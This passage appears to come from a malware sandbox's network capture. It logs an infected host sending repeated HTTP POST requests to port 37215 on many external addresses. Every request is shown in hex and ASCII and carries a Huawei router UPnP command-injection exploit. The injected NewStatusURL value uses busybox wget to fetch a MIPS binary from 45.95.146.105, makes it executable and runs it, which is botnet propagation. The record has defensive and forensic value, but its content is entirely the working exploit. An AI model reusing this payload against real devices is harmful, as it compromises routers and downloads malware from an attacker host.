/faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:35.899235010 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:37.754929066 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:41.466617107 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:48.889365911 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:03.735353947 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:34.706943035 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	41714	37.16.20.81	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:39.796410084 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	54200	156.77.134.80	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:41.050395012 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	34208	94.123.77.176	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:41.207063913 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
